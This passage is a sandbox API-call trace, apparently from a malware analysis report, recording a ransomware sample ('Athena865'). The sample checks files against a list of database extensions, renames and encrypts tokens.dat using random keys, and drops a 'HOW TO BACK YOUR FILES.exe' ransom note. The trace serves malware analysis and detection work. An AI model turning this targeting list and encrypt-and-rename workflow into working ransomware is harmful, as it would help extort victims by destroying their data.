(lpString1="dat", lpString2="^^^") returned 1 [0098.060] lstrlenW (lpString="abs") returned 3 [0098.060] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0098.060] lstrlenW (lpString="abx") returned 3 [0098.061] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0098.061] lstrlenW (lpString="accdb") returned 5 [0098.061] lstrcmpiW (lpString1="s.dat", lpString2="accdb") returned 1 [0098.061] lstrlenW (lpString="accdc") returned 5 [0098.061] lstrcmpiW (lpString1="s.dat", lpString2="accdc") returned 1 [0098.061] lstrlenW (lpString="accde") returned 5 [0098.061] lstrcmpiW (lpString1="s.dat", lpString2="accde") returned 1 [0098.061] lstrlenW (lpString="accdr") returned 5 [0098.061] lstrcmpiW (lpString1="s.dat", lpString2="accdr") returned 1 [0098.061] lstrlenW (lpString="accdt") returned 5 [0098.061] lstrcmpiW (lpString1="s.dat", lpString2="accdt") returned 1 [0098.061] lstrlenW (lpString="accdw") returned 5 [0098.061] lstrcmpiW (lpString1="s.dat", lpString2="accdw") returned 1 [0098.061] lstrlenW (lpString="accft") returned 5 [0098.061] lstrcmpiW (lpString1="s.dat", lpString2="accft") returned 1 [0098.061] lstrlenW (lpString="adb") returned 3 [0098.061] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0098.061] lstrlenW (lpString="adb") returned 3 [0098.061] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0098.061] lstrlenW (lpString="ade") returned 3 [0098.061] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0098.061] lstrlenW (lpString="adf") returned 3 [0098.061] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0098.061] lstrlenW (lpString="adn") returned 3 [0098.061] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0098.061] lstrlenW (lpString="adp") returned 3 [0098.061] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0098.061] lstrlenW (lpString="alf") returned 3 [0098.061] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0098.062] lstrlenW (lpString="ask") returned 3 [0098.062] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0098.062] lstrlenW (lpString="btr") returned 3 [0098.062] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0098.062] lstrlenW (lpString="cat") returned 3 [0098.062] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0098.062] lstrlenW (lpString="cdb") returned 3 [0098.062] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0098.062] lstrlenW (lpString="ckp") returned 3 [0098.062] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0098.062] lstrlenW (lpString="cma") returned 3 [0098.062] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0098.062] lstrlenW (lpString="cpd") returned 3 [0098.062] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0098.062] lstrlenW (lpString="dacpac") returned 6 [0098.062] lstrcmpiW (lpString1="ns.dat", lpString2="dacpac") returned 1 [0098.062] lstrlenW (lpString="dad") returned 3 [0098.062] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0098.062] lstrlenW (lpString="dadiagrams") returned 10 [0098.062] lstrlenW (lpString="daschema") returned 8 [0098.062] lstrcmpiW (lpString1="kens.dat", lpString2="daschema") returned 1 [0098.062] lstrlenW (lpString="db-journal") returned 10 [0098.062] lstrlenW (lpString="db-shm") returned 6 [0098.062] lstrcmpiW (lpString1="ns.dat", lpString2="db-shm") returned 1 [0098.062] lstrlenW (lpString="db-wal") returned 6 [0098.062] lstrcmpiW (lpString1="ns.dat", lpString2="db-wal") returned 1 [0098.062] lstrlenW (lpString="dbc") returned 3 [0098.062] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0098.062] lstrlenW (lpString="dbs") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0098.063] lstrlenW (lpString="dbt") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0098.063] lstrlenW (lpString="dbv") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0098.063] lstrlenW (lpString="dbx") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0098.063] lstrlenW (lpString="dcb") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0098.063] lstrlenW (lpString="dct") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0098.063] lstrlenW (lpString="dcx") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0098.063] lstrlenW (lpString="ddl") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0098.063] lstrlenW (lpString="dlis") returned 4 [0098.063] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0098.063] lstrlenW (lpString="dp1") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0098.063] lstrlenW (lpString="dqy") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0098.063] lstrlenW (lpString="dsk") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0098.063] lstrlenW (lpString="dsn") returned 3 [0098.063] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0098.063] lstrlenW (lpString="dtsx") returned 4 [0098.063] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0098.063] lstrlenW (lpString="dxl") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0098.065] lstrlenW (lpString="eco") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0098.065] lstrlenW (lpString="ecx") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0098.065] lstrlenW (lpString="edb") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0098.065] lstrlenW (lpString="epim") returned 4 [0098.065] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0098.065] lstrlenW (lpString="fcd") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0098.065] lstrlenW (lpString="fdb") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0098.065] lstrlenW (lpString="fic") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0098.065] lstrlenW (lpString="flexolibrary") returned 12 [0098.065] lstrlenW (lpString="fm5") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0098.065] lstrlenW (lpString="fmp") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0098.065] lstrlenW (lpString="fmp12") returned 5 [0098.065] lstrcmpiW (lpString1="s.dat", lpString2="fmp12") returned 1 [0098.065] lstrlenW (lpString="fmpsl") returned 5 [0098.065] lstrcmpiW (lpString1="s.dat", lpString2="fmpsl") returned 1 [0098.065] lstrlenW (lpString="fol") returned 3 [0098.065] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0098.066] lstrlenW (lpString="fp3") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0098.066] lstrlenW (lpString="fp4") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0098.066] lstrlenW (lpString="fp5") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0098.066] lstrlenW (lpString="fp7") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0098.066] lstrlenW (lpString="fpt") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0098.066] lstrlenW (lpString="frm") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0098.066] lstrlenW (lpString="gdb") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0098.066] lstrlenW (lpString="gdb") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0098.066] lstrlenW (lpString="grdb") returned 4 [0098.066] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0098.066] lstrlenW (lpString="gwi") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0098.066] lstrlenW (lpString="hdb") returned 3 [0098.066] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0098.066] lstrlenW (lpString="his") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0098.067] lstrlenW (lpString="ib") returned 2 [0098.067] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0098.067] lstrlenW (lpString="idb") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0098.067] lstrlenW (lpString="ihx") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0098.067] lstrlenW (lpString="itdb") returned 4 [0098.067] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0098.067] lstrlenW (lpString="itw") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0098.067] lstrlenW (lpString="jet") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0098.067] lstrlenW (lpString="jtx") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0098.067] lstrlenW (lpString="kdb") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0098.067] lstrlenW (lpString="kexi") returned 4 [0098.067] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0098.067] lstrlenW (lpString="kexic") returned 5 [0098.067] lstrcmpiW (lpString1="s.dat", lpString2="kexic") returned 1 [0098.067] lstrlenW (lpString="kexis") returned 5 [0098.067] lstrcmpiW (lpString1="s.dat", lpString2="kexis") returned 1 [0098.067] lstrlenW (lpString="lgc") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0098.067] lstrlenW (lpString="lwx") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0098.067] lstrlenW (lpString="maf") returned 3 [0098.067] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0098.068] lstrlenW (lpString="maq") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0098.068] lstrlenW (lpString="mar") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0098.068] lstrlenW (lpString="marshal") returned 7 [0098.068] lstrcmpiW (lpString1="ens.dat", lpString2="marshal") returned -1 [0098.068] lstrlenW (lpString="mas") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0098.068] lstrlenW (lpString="mav") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0098.068] lstrlenW (lpString="maw") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0098.068] lstrlenW (lpString="mdbhtml") returned 7 [0098.068] lstrcmpiW (lpString1="ens.dat", lpString2="mdbhtml") returned -1 [0098.068] lstrlenW (lpString="mdn") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0098.068] lstrlenW (lpString="mdt") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0098.068] lstrlenW (lpString="mfd") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0098.068] lstrlenW (lpString="mpd") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0098.068] lstrlenW (lpString="mrg") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0098.068] lstrlenW (lpString="mud") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0098.068] lstrlenW (lpString="mwb") returned 3 [0098.068] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0098.068] lstrlenW (lpString="myd") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0098.069] lstrlenW (lpString="ndf") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0098.069] lstrlenW (lpString="nnt") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0098.069] lstrlenW (lpString="nrmlib") returned 6 [0098.069] lstrcmpiW (lpString1="ns.dat", lpString2="nrmlib") returned 1 [0098.069] lstrlenW (lpString="ns2") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0098.069] lstrlenW (lpString="ns3") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0098.069] lstrlenW (lpString="ns4") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0098.069] lstrlenW (lpString="nsf") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0098.069] lstrlenW (lpString="nv") returned 2 [0098.069] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0098.069] lstrlenW (lpString="nv2") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0098.069] lstrlenW (lpString="nwdb") returned 4 [0098.069] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0098.069] lstrlenW (lpString="nyf") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0098.069] lstrlenW (lpString="odb") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0098.069] lstrlenW (lpString="odb") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0098.069] lstrlenW (lpString="oqy") returned 3 [0098.069] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0098.069] lstrlenW (lpString="ora") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0098.070] lstrlenW (lpString="orx") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0098.070] lstrlenW (lpString="owc") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0098.070] lstrlenW (lpString="p96") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0098.070] lstrlenW (lpString="p97") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0098.070] lstrlenW (lpString="pan") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0098.070] lstrlenW (lpString="pdb") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0098.070] lstrlenW (lpString="pdm") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0098.070] lstrlenW (lpString="pnz") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0098.070] lstrlenW (lpString="qry") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0098.070] lstrlenW (lpString="qvd") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0098.070] lstrlenW (lpString="rbf") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0098.070] lstrlenW (lpString="rctd") returned 4 [0098.070] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0098.070] lstrlenW (lpString="rod") returned 3 [0098.070] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0098.070] lstrlenW (lpString="rodx") returned 4 [0098.070] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0098.071] lstrlenW (lpString="rpd") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0098.071] lstrlenW (lpString="rsd") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0098.071] lstrlenW (lpString="sas7bdat") returned 8 [0098.071] lstrcmpiW (lpString1="kens.dat", lpString2="sas7bdat") returned -1 [0098.071] lstrlenW (lpString="sbf") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0098.071] lstrlenW (lpString="scx") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0098.071] lstrlenW (lpString="sdb") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0098.071] lstrlenW (lpString="sdc") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0098.071] lstrlenW (lpString="sdf") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0098.071] lstrlenW (lpString="sis") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0098.071] lstrlenW (lpString="spq") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0098.071] lstrlenW (lpString="te") returned 2 [0098.071] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0098.071] lstrlenW (lpString="teacher") returned 7 [0098.071] lstrcmpiW (lpString1="ens.dat", lpString2="teacher") returned -1 [0098.071] lstrlenW (lpString="tmd") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0098.071] lstrlenW (lpString="tps") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0098.071] lstrlenW (lpString="trc") returned 3 [0098.071] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0098.072] lstrlenW (lpString="trc") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0098.072] lstrlenW (lpString="trm") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0098.072] lstrlenW (lpString="udb") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0098.072] lstrlenW (lpString="udl") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0098.072] lstrlenW (lpString="usr") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0098.072] lstrlenW (lpString="v12") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0098.072] lstrlenW (lpString="vis") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0098.072] lstrlenW (lpString="vpd") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0098.072] lstrlenW (lpString="vvv") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0098.072] lstrlenW (lpString="wdb") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0098.072] lstrlenW (lpString="wmdb") returned 4 [0098.072] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0098.072] lstrlenW (lpString="wrk") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0098.072] lstrlenW (lpString="xdb") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0098.072] lstrlenW (lpString="xld") returned 3 [0098.072] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0098.072] lstrlenW (lpString="xmlff") returned 5 [0098.072] lstrcmpiW (lpString1="s.dat", lpString2="xmlff") returned -1 [0098.073] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.Athena865") returned 78 [0098.073] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.Athena865" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.athena865"), dwFlags=0x1) returned 1 [0098.076] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.Athena865" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0098.076] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4627413) returned 1 [0098.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0098.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a080 [0098.076] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a108) returned 1 [0098.077] CryptGenRandom (in: hProv=0x51a108, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.077] CryptReleaseContext (hProv=0x51a108, dwFlags=0x0) returned 1 [0098.077] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x469ee0, lpName=0x0) returned 0x154 [0098.079] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x69ee0) returned 0x2d50000 [0098.104] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0098.210] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0098.228] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a108) returned 1 [0098.228] CryptGenRandom (in: hProv=0x51a108, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.228] CryptReleaseContext (hProv=0x51a108, dwFlags=0x0) returned 1 [0098.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0098.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0098.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.229] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0098.233] CloseHandle (hObject=0x154) returned 1 [0098.233] CloseHandle (hObject=0x17c) returned 1 [0098.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0098.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a080 | out: hHeap=0x4f0000) returned 1 [0098.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.242] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0098.242] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.242] ReleaseMutex (hMutex=0xec) returned 1 [0098.242] CloseHandle (hObject=0xec) returned 1 [0098.242] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\RAC" | out: lpString1="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0098.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f8c8 | out: hHeap=0x4f0000) returned 1 [0098.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530cb0 | out: hHeap=0x4f0000) returned 1 [0098.242] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC") returned 28 [0098.242] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D36DC58B52510FBC7AEA94B3D2518D34") returned 0xec [0098.243] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.243] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\RAC" | out: lpString1="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0098.243] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.243] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.243] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.244] GetLastError () returned 0x0 [0098.244] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.244] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.245] CloseHandle (hObject=0xf4) returned 1 [0098.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.245] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.245] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0098.245] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.245] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.245] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.245] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.245] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK 